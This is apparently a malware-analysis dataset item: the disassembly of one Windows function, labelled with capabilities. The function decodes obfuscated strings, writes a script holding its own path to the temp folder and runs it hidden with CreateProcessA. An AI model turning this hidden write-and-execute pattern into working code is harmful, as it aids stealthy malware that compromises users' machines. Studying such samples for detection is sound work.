Function at 0x140019e40
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x360]
sub rsp, 0x460
mov rax, qword [0x140162470]
xor rax, rsp
mov qword [rbp + 0x350], rax
lea rdx, [rbp + 0x130]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rcx, [0x1401683f6]
mov edx, 0x921f97a
mov r8d, 0xa
call fcn.140001558
lea rcx, [rbp + 0x130]
dec rcx
xor edi, edi
mov r8, rax
inc rcx
cmp byte [rcx], dil
jne 0x140019ea3
xor edx, edx
mov al, byte [r8 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x140019ead
mov qword [rsp + 0x30], rdi
lea rcx, [rbp + 0x130]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80000080
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001a079
lea rdx, [rbp + 0x240]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [0x140168402]
mov edx, 0x5bc265a4
mov r8d, 0xa
call fcn.140001558
lea rcx, [rbp - 0x20]
mov rdx, rax
call fcn.1400e8e80
lea r9, [rsp + 0x50]
lea rdx, [rbp - 0x20]
mov rcx, rbx
mov r8d, eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [0x14016840e]
mov edx, 0x4990ceea
mov r8d, 0xb
call fcn.140001558
lea r8, [rbp + 0x240]
lea rcx, [rbp - 0x20]
mov rdx, rax
call fcn.1400e8e80
lea r9, [rsp + 0x50]
lea rdx, [rbp - 0x20]
mov rcx, rbx
mov r8d, eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [0x14016841c]
mov edx, 0xfc264cd8
mov r8d, 0x1c
call fcn.140001558
lea r8, [rbp + 0x240]
lea rcx, [rbp - 0x20]
mov rdx, rax
call fcn.1400e8e80
lea r9, [rsp + 0x50]
lea rdx, [rbp - 0x20]
mov rcx, rbx
mov r8d, eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [rbp + 0x240]
mov edx, 0x5c
call fcn.1400e8f20
test rax, rax
je 0x140019fe8
mov byte [rax], dil
lea rcx, [0x14016843a]
mov edx, 0xf1c17c72
mov r8d, InitCommonControls
call fcn.140001558
lea r8, [rbp + 0x240]
lea rcx, [rbp - 0x20]
mov rdx, rax
call fcn.1400e8e80
lea r9, [rsp + 0x50]
lea rdx, [rbp - 0x20]
mov rcx, rbx
mov r8d, eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [0x14016844a]
mov edx, 0x2e70a534
mov r8d, 0xb
call fcn.140001558
lea r8, [rbp + 0x130]
lea rcx, [rbp - 0x20]
mov rdx, rax
call fcn.1400e8e80
lea r9, [rsp + 0x50]
lea rdx, [rbp - 0x20]
mov rcx, rbx
mov r8d, eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea rcx, [rsp + 0x78]
lea r8d, [rdx + 0x60]
call fcn.1400ea1b0
lea rax, [rsp + 0x58]
lea rdx, [rbp + 0x130]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], 0x8000040
mov dword [rsp + 0x70], 0x68
mov dword [rbp - 0x54], 1
mov word [rbp - 0x50], di
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14001a0f5
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x350]
xor rcx, rsp
call fcn.1400e79e0
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret